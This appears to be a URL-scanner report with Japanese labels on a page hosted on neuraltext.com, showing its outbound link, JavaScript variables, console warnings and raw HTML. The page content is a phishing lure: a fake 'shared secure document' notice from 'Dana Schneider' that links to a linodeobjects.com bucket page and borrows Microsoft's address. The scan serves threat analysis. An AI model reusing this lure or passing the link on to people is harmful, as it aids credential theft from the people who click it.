https://app.neuraltext.com/document/share/605f2d59-feb0-4eb0-9a6c-2167ba20eb26/

送信済みURL:
https://url.us.m.mimecastprotect.com/s/K-33ClY9kRcolRvwuyiNHzLGnEリダイレクト済み
レポート終了日:

リンク · 1件検出

ページから特定された発信リンク

リンクテキスト
https://nelsonengineering.us-mia-1.linodeobjects.com/index.htmlVIEW SHARED DOCUMENT

JavaScript変数 · 45件検出

ページのウィンドウオブジェクトにロードされたグローバルのJavaScript変数は関数以外の場所で宣言された変数で、現在のスコープ内であればコードのどこからでもアクセス可能です

名前規模
0object
onbeforetoggleobject
documentPictureInPictureobject
onscrollendobject
__cfQRobject
__cfBeaconobject
_hyperscriptfunction
htmxobject
ClipboardJSfunction
Popperobject

コンソールログメッセージ · 2件検出

Webコンソールにログ記録されたメッセージ

規模分類ログ
warningsecurity
URL
https://app.neuraltext.com/cdn-cgi/scripts/7d0fa10a/cloudflare-static/rocket-loader.min.js
テキスト
A preload for 'https://app.neuraltext.com/static/editor-bundle.0734bdd6cb83.js' is found, but is not used because the request credentials mode does not match. Consider taking a look at crossorigin attribute.
warningother
URL
https://app.neuraltext.com/document/share/605f2d59-feb0-4eb0-9a6c-2167ba20eb26/
テキスト
The resource https://app.neuraltext.com/static/editor-bundle.0734bdd6cb83.js was preloaded using link preload but not used within a few seconds from the window's load event. Please make sure it has an appropriate `as` value and it is preloaded intentionally.

HTML

未加工のHTMLページ本文

<!DOCTYPE html><html class="h-full 

bg-white
"><head>
    <title>PDF ONLINE - neuraltext.com</title>
    <style data-tippy-stylesheet="">.tippy-box[data-animation=fade][data-state=hidden]{opacity:0}[data-tippy-root]{max-width:calc(100vw - 10px)}.tippy-box{position:relative;background-color:#333;color:#fff;border-radius:4px;font-size:14px;line-height:1.4;white-space:normal;outline:0;transition-property:transform,visibility,opacity}.tippy-box[data-placement^=top]>.tippy-arrow{bottom:0}.tippy-box[data-placement^=top]>.tippy-arrow:before{bottom:-7px;left:0;border-width:8px 8px 0;border-top-color:initial;transform-origin:center top}.tippy-box[data-placement^=bottom]>.tippy-arrow{top:0}.tippy-box[data-placement^=bottom]>.tippy-arrow:before{top:-7px;left:0;border-width:0 8px 8px;border-bottom-color:initial;transform-origin:center bottom}.tippy-box[data-placement^=left]>.tippy-arrow{right:0}.tippy-box[data-placement^=left]>.tippy-arrow:before{border-width:8px 0 8px 8px;border-left-color:initial;right:-7px;transform-origin:center left}.tippy-box[data-placement^=right]>.tippy-arrow{left:0}.tippy-box[data-placement^=right]>.tippy-arrow:before{left:-7px;border-width:8px 8px 8px 0;border-right-color:initial;transform-origin:center right}.tippy-box[data-inertia][data-state=visible]{transition-timing-function:cubic-bezier(.54,1.5,.38,1.11)}.tippy-arrow{width:16px;height:16px;color:#333}.tippy-arrow:before{content:"";position:absolute;border-color:transparent;border-style:solid}.tippy-content{position:relative;padding:5px 9px;z-index:1}</style><link rel="stylesheet" href="/static/css/compiled.f38583efca9c.css">
    <script src="https://unpkg.com/[email protected]" type="text/javascript"></script>
    <script src="https://unpkg.com/[email protected]" integrity="sha384-FhXw7b6AlE/jyjlZH5iHa/tTe9EpJ1Y55RjcgPbjeWMskSxZt1v9qkxLJWNJaGni" crossorigin="anonymous" type="text/javascript"></script>
    <script src="https://unpkg.com/htmx.org/dist/ext/remove-me.js" type="text/javascript"></script>

    <script src="https://cdnjs.cloudflare.com/ajax/libs/clipboard.js/2.0.11/clipboard.min.js" type="text/javascript"></script>
    <script src="https://unpkg.com/@popperjs/core@2" type="text/javascript"></script>
    <script src="https://unpkg.com/tippy.js@6" type="text/javascript"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/4.4.1/chart.umd.min.js" integrity="sha512-CQBWl4fJHWbryGE+Pc7UAxWMUMNMWzWxF4SQo9CgkJIN1kx6djDQZjh3Y8SZ1d+6I+1zze6Z7kHXO7q3UyZAWw==" crossorigin="anonymous" referrerpolicy="no-referrer" type="text/javascript"></script>
    
    <meta name="htmx-config" content="{&quot;useTemplateFragments&quot;:&quot;true&quot;}">
    <style>
      .htmx-request #loader{
        display:block;
      }
      .htmx-request#loader{
          display:block;
      }
      .completion-card.htmx-swapping {
        opacity: 0;
        transition: opacity 1s ease-out;
      }
      
      .icon-number-cell {
          display: inline-block; /* Ensures the cell contents are in line */
          white-space: nowrap;   /* Prevents line breaking within the cell */
      }
      
      .icon-number-cell svg {
          display: inline-block; /* Ensures the SVG is in line with the text */
          vertical-align: middle; /* Adjust alignment as needed */
      }

      [x-cloak] {
        display: none !important;
      }


      .loader-container {
        width: 100%;
        height: 100vh;
        display: flex;
        justify-content: center;
        align-items: center;
        position: fixed;
        background: #fff;
        z-index: 999;
      }
    
      .progress-bar {
        height: 4px;
        background-color: rgba(5, 114, 206, 0.2);
        width: 20%;
        overflow: hidden;
      }
      
      .progress-bar-value {
        width: 100%;
        height: 100%;
        background-color: rgb(5, 114, 206);
        animation: indeterminateAnimation 1s infinite linear;
        transform-origin: 0% 50%;
      }

    </style>
    <link rel="icon" href="https://imagedelivery.net/s70maIKOi-wQmLGFEl7CUw/fa29a5c9-7ce2-4254-bfd3-589c7a773d00/80x80" sizes="16x16">
    <link rel="icon" href="https://imagedelivery.net/s70maIKOi-wQmLGFEl7CUw/fa29a5c9-7ce2-4254-bfd3-589c7a773d00/80x80" sizes="32x32">
    
<style>
  .venntooltip {
    position: absolute;
    text-align: center;
    width: 128px;
    height: 28px;
    background: #333;
    color: #ddd;
    padding: 2px;
    border: 0px;
    border-radius: 8px;
    opacity: 0;
  }


  button.is-active { color: rgb(99 102 241); }
  .tiptap { padding: 0.5rem 1rem; margin: 1rem 0; }

  .tiptap h1{
    font-size: 1.87rem;
    line-height: 2.25rem;
  }

  .tiptap h2{
    font-size: 1.5rem;
    line-height: 2rem;
  }

  .tiptap h3{
    font-size: 1.25rem;
    line-height: 1.75rem;
  }

  .tiptap h4{
    font-size: 1rem;
    line-height: 1.5rem;
  }

  .tiptap h5{
    font-size: 0.75rem;
    line-height: 1.25rem;
  }

  .tiptap h6{
    font-size: 0.5rem;
    line-height: 1rem;
  }

  .tiptap hr{
    margin-top: 1rem;
    margin-bottom: 1rem;
  }

  .tiptap ul li {
    list-style-type: disc;
  }

  .tiptap li {
    margin-left: calc(3px * var(--rem));
  }

  .tiptap ol li {
    list-style-type: decimal;
  }

  .tiptap blockquote {
    margin-left: calc(2rem * 2);
    padding-left: 0.5rem;
    border-left: 2px solid #4e37ff;
  }


  .bubble-menu {
    visibility: hidden; /* Initially hidden, shown by TiPTaP when relevant */
    position: absolute;
    background-color: white;
    padding: 5px;
    border-radius: 5px;
    border: 1px solid #ccc;
  }

  .bubble-menu button {
      cursor: pointer;
  }

  .bubble-menu button.is-active {
      background-color: #e4e4e4;
  }
  
  .tiptap:focus {
    outline: 2px solid transparent;
    outline-offset: 2px;
  }

  #editor > .tiptap {
    border: none!important;
  }

  #editor + div div.tippy-box div.tippy-arrow {
    display: none;
  }


  #editor + div div.tippy-box {
    background-color: transparent;
    max-width: 100%!important;
  }

  .tiptap a {
    font-weight: 500;
    color: #4f46e5;
    text-decoration: underline;
  }
  .tiptap a:hover {
    font-weight: 500;
    color: #7c3ae6;
    text-decoration: underline;
  }

  .tiptap p.is-editor-empty:first-child::before {
    color: #adb5bd;
    content: attr(data-placeholder);
    float: left;
    height: 0;
    pointer-events: none;
  }

  #topicSelection {
      background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='none' viewBox='0 0 20 20'%3e%3cpath stroke='%236b7280' stroke-linecap='round' stroke-linejoin='round' stroke-width='1.5' d='M6 8l4 4 4-4'/%3e%3c/svg%3e");
      background-position: right .5rem center;
      background-repeat: no-repeat;
      background-size: 1.5em 1.5em;
      padding-right: 2.5rem;
      -webkit-print-color-adjust: exact;
      color-adjust: exact;
  }

  .slide-to-reveal {
    display: inline-block;
    white-space: nowrap;
    width: auto;
    transform: translateX(0%);
    transition: 4s ease-in-out;
  }
  
  .slide-to-reveal:hover{
    transform: translateX(-30%);
  }

  mark {
    background-color: rgb(254 240 138);
  }

  aside div.tippy-box{
    z-index:10;
    font-size: 0.75rem;
    line-height: 1rem;
  }
  

  @keyframes indeterminateAnimation {
    0% {
      transform:  translateX(0) scaleX(0);
    }
    40% {
      transform:  translateX(0) scaleX(0.4);
    }
    100% {
      transform:  translateX(100%) scaleX(0.5);
    }
  }
</style>
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/core.min.js" type="text/javascript"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/md5.js" type="text/javascript"></script>
<script type="text/javascript">
  const loaderContainer = document.querySelector('.loader-container');
  window.addEventListener('load', () => {
      loaderContainer.style.display = 'none';
  });

  function emptyImportURLModal(){
    setTimeout(function() {
      document.getElementById('importFromURLPreview').innerHTML = '';
      document.getElementById('importFromURLPreview').className = '';
      document.getElementById('importFromURLFooter').innerHTML = '';
      document.getElementById('importFromURLFooter').className = '';
      document.getElementById('modalURLImportField').value = '';
    }, 1000);
  }
  
  function importURLToEditor(){
    window.editor.commands.setContent(content=document.getElementById('importFromURLPreview').innerHTML, emitUpdate=true);
  }

  function replaceMissingLogo(imgElement) {
    // Create a new div element
    var div = document.createElement('div');
    div.className = "w-5 h-5 bg-gray-300 rounded-md";

    // Replace the img tag with the new div
    imgElement.parentNode.replaceChild(div, imgElement);
  }

  function updateHeadingCount() {
    var list = document.getElementById('outline-nodes');
    var count = list.getElementsByTagName('li').length;
    var headingText = count === 1 ? 'heading' : 'headings';

    // Update headings count and text
    document.getElementById('headingCount').textContent = count;
    document.getElementById('headingText').textContent = headingText;

    // Toggle div visibility based on count
    if (count === 0) {
        document.getElementById('outline-empty-state').style.display = 'block';
        document.getElementById('outline-populated-state').style.display = 'none';
    } else {
        document.getElementById('outline-empty-state').style.display = 'none';
        document.getElementById('outline-populated-state').style.display = 'block';
    }
  }

  function triggerNotification(message, type='info') {
    window.dispatchEvent(new CustomEvent('notify', { 
        detail: { 
            content: message, 
            type: type // can be 'info', 'success', or 'error'
        } 
    }));
  }



function tooltipComponent() {
  let instance = null;

  return {
      showTooltip(items) {
          // Create a list element
          let list = document.createElement('ul');
          items.forEach(item => {
              let listItem = document.createElement('li');
              listItem.textContent = item;
              list.appendChild(listItem);
          });

          // Create and show the tooltip with the list
          instance = tippy(this.$el, {
              content: list,
              allowHTML: true, // Allow HTML content inside tooltip
              trigger: 'manual'
          });

          instance.show();
      },
      hideTooltip() {
          if (instance) {
              instance.hide();
              setTimeout(() => instance.destroy(), 150);
              instance = null; // Clear the instance
          }
      }
  };
}

</script>
<script src="https://cdn.jsdelivr.net/npm/sortablejs@latest/Sortable.min.js" type="text/javascript"></script>

  <style data-tiptap-style="">.ProseMirror {
  position: relative;
}

.ProseMirror {
  word-wrap: break-word;
  white-space: pre-wrap;
  white-space: break-spaces;
  -webkit-font-variant-ligatures: none;
  font-variant-ligatures: none;
  font-feature-settings: "liga" 0; /* the above doesn't seem to work in Edge */
}

.ProseMirror [contenteditable="false"] {
  white-space: normal;
}

.ProseMirror [contenteditable="false"] [contenteditable="true"] {
  white-space: pre-wrap;
}

.ProseMirror pre {
  white-space: pre-wrap;
}

img.ProseMirror-separator {
  display: inline !important;
  border: none !important;
  margin: 0 !important;
  width: 1px !important;
  height: 1px !important;
}

.ProseMirror-gapcursor {
  display: none;
  pointer-events: none;
  position: absolute;
  margin: 0;
}

.ProseMirror-gapcursor:after {
  content: "";
  display: block;
  position: absolute;
  top: -2px;
  width: 20px;
  border-top: 1px solid black;
  animation: ProseMirror-cursor-blink 1.1s steps(2, start) infinite;
}

@keyframes ProseMirror-cursor-blink {
  to {
    visibility: hidden;
  }
}

.ProseMirror-hideselection *::selection {
  background: transparent;
}

.ProseMirror-hideselection *::-moz-selection {
  background: transparent;
}

.ProseMirror-hideselection * {
  caret-color: transparent;
}

.ProseMirror-focused .ProseMirror-gapcursor {
  display: block;
}

.tippy-box[data-animation=fade][data-state=hidden] {
  opacity: 0
}</style><style>                      .htmx-indicator{opacity:0;transition: opacity 200ms ease-in;}                      .htmx-request .htmx-indicator{opacity:1}                      .htmx-request.htmx-indicator{opacity:1}                    </style><link id="freshworks-frame" rel="stylesheet" href="https://euc-widget.freshworks.com/widgetBase/static/media/frame.d7ae132c.css"></head>
  <body class="h-full overflow-y-hidden" hx-headers="{&quot;X-CSRFToken&quot;: &quot;wwilNJxgjeGzK4G6vQxAWKM76qbMyKP7So091k8qpUwkR5uDqrWw5dSIVN7ziJan&quot;}">
    
    <script type="text/javascript">
      function initializeClipboard() {
        new ClipboardJS('.clipboardBtn');
      }


      function showClipboardNotification() {
        var clipboardNotification = document.querySelector("#clipboardNotification");

        clipboardNotification.classList.remove("hidden");

        clipboardNotification.style.opacity = "1";

        clipboardNotification.style.transition = "opacity 1s ease-out";

        setTimeout(function() {
            clipboardNotification.style.opacity = "0";
            setTimeout(function() {
                clipboardNotification.classList.add("hidden");
            }, 1000); 
        }, 2000);
    }
    

    </script>
    <div>
    
<div class="loader-container" style="display: none;">
  <div class="progress-bar">
    <div class="progress-bar-value"></div>
  </div>
</div>

    

    <main class=" 
    py-10
    h-screen overflow-hidden 
    ">
      
        
      
    
<div x-data="{
        notifications: [],
        add(e) {
            this.notifications.push({
                id: e.timeStamp,
                type: e.detail.type,
                content: e.detail.content,
            })
        },
        remove(notification) {
            this.notifications = this.notifications.filter(i => i.id !== notification.id)
        },
    }" @notify.window="add($event)" class="fixed bottom-0 right-0 flex w-full max-w-xs flex-col space-y-4 pr-4 pb-4 sm:justify-start z-50" role="status" aria-live="polite">
    <!-- Notification -->
    <template x-for="notification in notifications" :key="notification.id">
        <div x-data="{
                show: false,
                init() {
                    this.$nextTick(() => this.show = true)
 
                    setTimeout(() => this.transitionOut(), 2000)
                },
                transitionOut() {
                    this.show = false
 
                    setTimeout(() => this.remove(this.notification), 500)
                },
            }" x-show="show" x-transition.duration.500ms="" class="pointer-events-auto relative w-full max-w-sm rounded-md border border-gray-200 bg-white py-4 pl-6 pr-4 shadow-lg">
            <div class="flex items-start">
                <!-- Icons -->
                <div x-show="notification.type === 'info'" class="flex-shrink-0">
                    <span aria-hidden="true" class="inline-flex h-6 w-6 items-center justify-center rounded-full border-2 border-gray-400 text-xl font-bold text-gray-400">!</span>
                    <span class="sr-only">Information:</span>
                </div>
 
                <div x-show="notification.type === 'success'" class="flex-shrink-0">
                    <span aria-hidden="true" class="inline-flex h-6 w-6 items-center justify-center rounded-full border-2 border-green-600 text-lg font-bold text-green-600">✓</span>
                    <span class="sr-only">Success:</span>
                </div>
 
                <div x-show="notification.type === 'error'" class="flex-shrink-0">
                    <span aria-hidden="true" class="inline-flex h-6 w-6 items-center justify-center rounded-full border-2 border-red-600 text-lg font-bold text-red-600">×</span>
                    <span class="sr-only">Error:</span>
                </div>
 
                <!-- Text -->
                <div class="ml-3 w-0 flex-1 pt-0.5">
                    <p x-html="notification.content" class="text-sm font-medium leading-5 text-gray-900"></p>
                </div>
 
                <!-- Remove button -->
                <div class="ml-4 flex flex-shrink-0">
                    <button @click="transitionOut()" type="button" class="inline-flex text-gray-400">
                        <svg aria-hidden="" class="h-5 w-5" viewBox="0 0 20 20" fill="currentColor">
                            <path fill-rule="evenodd" d="M4.293 4.293a1 1 0 011.414 0L10 8.586l4.293-4.293a1 1 0 111.414 1.414L11.414 10l4.293 4.293a1 1 0 01-1.414 1.414L10 11.414l-4.293 4.293a1 1 0 01-1.414-1.414L8.586 10 4.293 5.707a1 1 0 010-1.414z" clip-rule="evenodd"></path>
                        </svg>
                        <span class="sr-only">Close notification</span>
                    </button>
                </div>
            </div>
        </div>
    </template>
</div>

<div class="mx-auto flex w-full max-w-screen items-start gap-x-8 px-4 sm:px-6 lg:px-8">
    <main class="flex-1">
    <!-- Main area -->
    <div class="relative pb-5 sm:pb-0">
      <div class="md:flex md:items-center md:justify-between">
        <div>
          <div class="flex items-center">
              <a href="/documents/" class="hover:cursor-pointer"> 
                  <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="w-4 h-4">
                    <path stroke-linecap="round" stroke-linejoin="round" d="M10.5 19.5 3 12m0 0 7.5-7.5M3 12h18"></path>
                </svg>
              </a>
              <h3 class="text-base font-semibold leading-6 text-gray-900 ml-2 hover:cursor-text">
    PDF ONLINE
</h3>
          </div>
          
          
      </div>
    

      <div class="mt-3 flex md:absolute md:right-0 md:top-3 md:mt-0">
          <div class="flex justify-center">
            <div x-data="{
                    open: false,
                    toggle() {
                        if (this.open) {
                            return this.close()
                        }
        
                        this.$refs.button.focus()
        
                        this.open = true
                    },
                    close(focusAfter) {
                        if (! this.open) return
        
                        this.open = false
        
                        focusAfter &amp;&amp; focusAfter.focus()
                    }
                }" x-on:keydown.escape.prevent.stop="close($refs.button)" x-on:focusin.window="! $refs.panel.contains($event.target) &amp;&amp; close()" x-id="['dropdown-button']" class="relative">
                <!-- Button -->
                <button x-ref="button" x-on:click="toggle()" :aria-expanded="open" :aria-controls="$id('dropdown-button')" type="button" class="inline-flex items-center rounded-md bg-white px-3 py-2 text-sm font-semibold text-gray-900 hover:bg-gray-50" aria-expanded="false" aria-controls="dropdown-button-1">
                  <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="w-4 h-4">
                    <path stroke-linecap="round" stroke-linejoin="round" d="M7.217 10.907a2.25 2.25 0 1 0 0 2.186m0-2.186c.18.324.283.696.283 1.093s-.103.77-.283 1.093m0-2.186 9.566-5.314m-9.566 7.5 9.566 5.314m0 0a2.25 2.25 0 1 0 3.935 2.186 2.25 2.25 0 0 0-3.935-2.186Zm0-12.814a2.25 2.25 0 1 0 3.933-2.185 2.25 2.25 0 0 0-3.933 2.185Z"></path>
                  </svg>
                </button>
        
                <!-- Panel -->
                <div x-ref="panel" x-show="open" x-transition.origin.top.left="" x-on:click.outside="close($refs.button)" :id="$id('dropdown-button')" style="display: none;" class="absolute right-0 mt-2 w-40 rounded-md bg-white shadow-md" id="dropdown-button-1">
                <div data-side="bottom" data-state="open" role="dialog" class="absolute right-0 z-50 origin-top-right rounded-md backdrop-blur-lg bg-white/90 shadow-lg ring-1 ring-zinc-900 ring-opacity-5 focus:outline-none w-80 p-4 space-y-2" tabindex="-1">
                  <div class="flex justify-between items-center">
<label class="text-sm font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70">Share Document</label>

</div>

<script type="text/javascript">
function debounce(func, delay) {
let timer;
return function() {
    const context = this, args = arguments;
    clearTimeout(timer);
    timer = setTimeout(() => {
        func.apply(context, args);
    }, delay);
};
}
</script>

                  <div class="w-full">
                    <div class="relative group">
                      <div class="pointer-events-none absolute inset-y-0 left-0 flex pl-2"></div>
                      <input id="share-document-input" class="h-8 w-full rounded-md truncate bg-white pr-3 text-sm text-zinc-900 ring-1 ring-inset ring-zinc-900/7.5 transition disabled:cursor-not-allowed disabled:opacity-50 hover:ring-zinc-300 lg:flex focus:[&amp;:not(:focus-visible)]:outline-none focus:outline-none file:-mx-3 file:-my-2 file:overflow-hidden file:bg-zinc-100 file:px-2.5 file:outline-none file:border-none file:py-3 file:text-zinc-700 file:transition file:duration-150 file:ease-in-out file:[margin-inline-end:0.75rem] file:[border-inline-end-width:1px] border-none !outline-none focus:ring-indigo-600/50 focus:ring-inset pl-3" readonly="" value="https://app.neuraltext.com/document/share/605f2d59-feb0-4eb0-9a6c-2167ba20eb26/">
                      <div class="absolute inset-y-0 right-0 flex pr-1.5 space-x-1"></div>
                    </div>
                  </div>
                  <button type="button" id="copy-link-button" class="inline-flex gap-0.5 justify-center overflow-hidden font-medium transition focus:outline-none focus:ring-none rounded-md text-white backdrop-blur-lg bg-indigo-600 ring-1 ring-indigo-900 ring-opacity-5 py-1 px-3 ring-1 ring-inset ring-indigo-900/10 hover:bg-indigo-700 focus:outline-none text-sm w-full">
                    <span>Copy link to clipboard</span>
                  </button>
                  
                </div>
                </div>
            </div>
        </div>
      </div>
    </div>

  </div>


  <div x-data="{
      selectedId: null,
      init() {
          // Set the first available tab on the page on page load.
          this.$nextTick(() => this.select(this.$id('tab', 1)))
      },
      select(id) {
          this.selectedId = id
      },
      isSelected(id) {
          return this.selectedId === id
      },
      whichChild(el, parent) {
          return Array.from(parent.children).indexOf(el) + 1
      }
  }" x-id="['tab']" class="mx-auto max-w-screen mt-4">

    

    <!-- Panels -->
    <div role="tabpanels" class="">
      <!-- Panel -->

      
<section x-show="isSelected($id('tab', whichChild($el, $el.parentElement)))" :aria-labelledby="$id('tab', whichChild($el, $el.parentElement))" role="tabpanel" class="mt-5 xl:mx-24 2xl:mx-48 mt-5 overflow-y-auto overflow-x-hidden pb-48 flex flex-col h-screen" aria-labelledby="tab-1-1">
<div x-data="editor('\u003Ch2\u003EDana Schneider has shared a secure document with you.\u003Cbr\u003EClick on “VIEW SHARED DOCUMENT” to access the shared documents securely.\u003C/h2\u003E\u003Cp\u003E\u003C/p\u003E\u003Cp\u003E\u003C/p\u003E\u003Ch1\u003E\u003Cstrong\u003E                          \u003C/strong\u003E\u003Ca target\u003D\u0022_blank\u0022 rel\u003D\u0022noopener noreferrer nofollow\u0022 href\u003D\u0022https://nelsonengineering.us\u002Dmia\u002D1.linodeobjects.com/index.html\u0022\u003E\u003Cstrong\u003E\u003Cu\u003EVIEW SHARED DOCUMENT\u003C/u\u003E\u003C/strong\u003E\u003C/a\u003E\u003C/h1\u003E\u003Cp\u003E\u003C/p\u003E\u003Cp\u003E\u003C/p\u003E\u003Cp\u003E\u003C/p\u003E\u003Cp\u003E\u003C/p\u003E\u003Cp\u003E\u003C/p\u003E\u003Cp\u003E\u003Cstrong\u003E                                                  This document is protected for your view only.\u0026nbsp\u003B\u003C/strong\u003E\u003C/p\u003E\u003Cp\u003E\u003Cstrong\u003E                                                       Microsoft Corporation Microsoft Way\u0026nbsp\u003B\u003C/strong\u003E\u003C/p\u003E\u003Cp\u003E\u003Cstrong\u003E                                                                       Redmond, WA\u0026nbsp\u003B\u003C/strong\u003E\u003C/p\u003E\u003Cp\u003E\u003Cstrong\u003E                                                                         98052\u002D6399\u003C/strong\u003E\u003C/p\u003E')">
    
    
    <template x-if="isLoaded()">
    <div class="menu border-b border-gray-200 space-x-2 py-2 pl-4 flex justify-between sticky top-0 bg-white z-10">
        <div class="flex space-x-2">
        <button @click="toggleHeading({ level: 1 })" x-data="tooltipComponent(['Apply Heading 1'])" @mouseenter="showTooltip(['Apply Heading 1'])" @mouseleave="hideTooltip" :class="{ 'is-active': isActive('heading', { level: 1 }, updatedAt) }" class="hover:bg-gray-100 rounded-md p-1 hover:text-gray-800">
        
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" width="18" height="18">
                <path d="M13 20H11V13H4V20H2V4H4V11H11V4H13V20ZM21.0005 8V20H19.0005L19 10.204L17 10.74V8.67L19.5005 8H21.0005Z"></path>
            </svg>
        </button>
        <button @click="toggleHeading({ level: 2 })" x-data="tooltipComponent(['Apply Heading 2'])" @mouseenter="showTooltip(['Apply Heading 2'])" @mouseleave="hideTooltip" :class="{ 'is-active': isActive('heading', { level: 2 }, updatedAt) }" class="hover:bg-gray-100 rounded-md p-1 hover:text-gray-800">
        <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="18" height="18" fill="currentColor">
            <path fill="none" d="M0 0H24V24H0z"></path>
            <path d="M4 4v7h7V4h2v16h-2v-7H4v7H2V4h2zm14.5 4c2.071 0 3.75 1.679 3.75 3.75 0 .857-.288 1.648-.772 2.28l-.148.18L18.034 18H22v2h-7v-1.556l4.82-5.546c.268-.307.43-.709.43-1.148 0-.966-.784-1.75-1.75-1.75-.918 0-1.671.707-1.744 1.606l-.006.144h-2C14.75 9.679 16.429 8 18.5 8z"></path>
        </svg>
        </button>
        <button @click="toggleHeading({ level: 3 })" x-data="tooltipComponent(['Apply Heading 3'])" @mouseenter="showTooltip(['Apply Heading 3'])" @mouseleave="hideTooltip" :class="{ 'is-active': isActive('heading', { level: 3 }, updatedAt) }" class="hover:bg-gray-100 rounded-md p-1 hover:text-gray-800">
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="18" height="18" fill="currentColor">
            <path fill="none" d="M0 0H24V24H0z"></path>
            <path d="M22 8l-.002 2-2.505 2.883c1.59.435 2.757 1.89 2.757 3.617 0 2.071-1.679 3.75-3.75 3.75-1.826 0-3.347-1.305-3.682-3.033l1.964-.382c.156.806.866 1.415 1.718 1.415.966 0 1.75-.784 1.75-1.75s-.784-1.75-1.75-1.75c-.286 0-.556.069-.794.19l-1.307-1.547L19.35 10H15V8h7zM4 4v7h7V4h2v16h-2v-7H4v7H2V4h2z"></path>
            </svg>
        </button>
        <button @click="toggleBold()" x-data="tooltipComponent(['Bold'])" @mouseenter="showTooltip(['Bold'])" @mouseleave="hideTooltip" :class="{ 'is-active' : isActive('bold', updatedAt) }" class="hover:bg-gray-100 rounded-md p-1 hover:text-gray-800">
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="18" height="18" fill="currentColor">
            <path fill="none" d="M0 0h24v24H0z"></path>
            <path d="M8 11h4.5a2.5 2.5 0 1 0 0-5H8v5zm10 4.5a4.5 4.5 0 0 1-4.5 4.5H6V4h6.5a4.5 4.5 0 0 1 3.256 7.606A4.498 4.498 0 0 1 18 15.5zM8 13v5h5.5a2.5 2.5 0 1 0 0-5H8z"></path>
            </svg>
        </button>
        <button @click="toggleItalic()" x-data="tooltipComponent(['Italic'])" @mouseenter="showTooltip(['Italic'])" @mouseleave="hideTooltip" :class="{ 'is-active' : isActive('italic', updatedAt) }" class="hover:bg-gray-100 rounded-md p-1 hover:text-gray-800">
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="18" height="18" fill="currentColor">
            <path fill="none" d="M0 0h24v24H0z"></path>
            <path d="M15 20H7v-2h2.927l2.116-12H9V4h8v2h-2.927l-2.116 12H15z"></path>
            </svg>
        </button>
        <button @click="toggleUnderline()" x-data="tooltipComponent(['Underline'])" @mouseenter="showTooltip(['Underline'])" @mouseleave="hideTooltip" :class="{ 'is-active' : isActive('underline', updatedAt) }" class="hover:bg-gray-100 rounded-md p-1 hover:text-gray-800">
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="18" height="18" fill="currentColor">
                <path d="M8 3V12C8 14.2091 9.79086 16 12 16C14.2091 16 16 14.2091 16 12V3H18V12C18 15.3137 15.3137 18 12 18C8.68629 18 6 15.3137 6 12V3H8ZM4 20H20V22H4V20Z"></path>
            </svg>
        </button>
        <button @click="setLink()" x-data="tooltipComponent(['Insert link'])" @mouseenter="showTooltip(['Insert link'])" @mouseleave="hideTooltip" :class="{ 'is-active' : isActive('link', updatedAt) }" class="hover:bg-gray-100 rounded-md p-1 hover:text-gray-800">
            <svg xmlns="http://www.w3.org/2000/svg" class="icon icon-tabler icon-tabler-link" width="18" height="18" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" fill="none" stroke-linecap="round" stroke-linejoin="round">
                <path stroke="none" d="M0 0h24v24H0z" fill="none"></path>
                <path d="M9 15l6 -6"></path>
                <path d="M11 6l.463 -.536a5 5 0 0 1 7.071 7.072l-.534 .464"></path>
                <path d="M13 18l-.397 .534a5.068 5.068 0 0 1 -7.127 0a4.972 4.972 0 0 1 0 -7.071l.524 -.463"></path>
            </svg>
        </button>
        <button @click="toggleBulletList()" x-data="tooltipComponent(['Bullet list'])" @mouseenter="showTooltip(['Bullet list'])" @mouseleave="hideTooltip" :class="{ 'is-active' : isActive('bulletList', updatedAt) }" class="hover:bg-gray-100 rounded-md p-1 hover:text-gray-800">
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="18" height="18" fill="currentColor">
            <path fill="none" d="M0 0h24v24H0z"></path>
            <path d="M8 4h13v2H8V4zM4.5 6.5a1.5 1.5 0 1 1 0-3 1.5 1.5 0 0 1 0 3zm0 7a1.5 1.5 0 1 1 0-3 1.5 1.5 0 0 1 0 3zm0 6.9a1.5 1.5 0 1 1 0-3 1.5 1.5 0 0 1 0 3zM8 11h13v2H8v-2zm0 7h13v2H8v-2z"></path>
            </svg>
        </button>
        <button @click="toggleOrderedList()" x-data="tooltipComponent(['Ordered list'])" @mouseenter="showTooltip(['Ordered list'])" @mouseleave="hideTooltip" :class="{ 'is-active' : isActive('orderedList', updatedAt) }" class="hover:bg-gray-100 rounded-md p-1 hover:text-gray-800">
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="18" height="18" fill="currentColor">
            <path fill="none" d="M0 0h24v24H0z"></path>
            <path d="M8 4h13v2H8V4zM5 3v3h1v1H3V6h1V4H3V3h2zM3 14v-2.5h2V11H3v-1h3v2.5H4v.5h2v1H3zm2 5.5H3v-1h2V18H3v-1h3v4H3v-1h2v-.5zM8 11h13v2H8v-2zm0 7h13v2H8v-2z"></path>
            </svg>
        </button>
        <button @click="toggleBlockquote()" x-data="tooltipComponent(['Blockquote'])" @mouseenter="showTooltip(['Blockquote'])" @mouseleave="hideTooltip" :class="{ 'is-active' : isActive('blockquote', updatedAt) }" class="hover:bg-gray-100 rounded-md p-1 hover:text-gray-800">
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="18" height="18" fill="currentColor">
                <path d="M21 4H3V6H21V4ZM21 11H8V13H21V11ZM21 18H8V20H21V18ZM5 11H3V20H5V11Z"></path>
            </svg>
        </button>
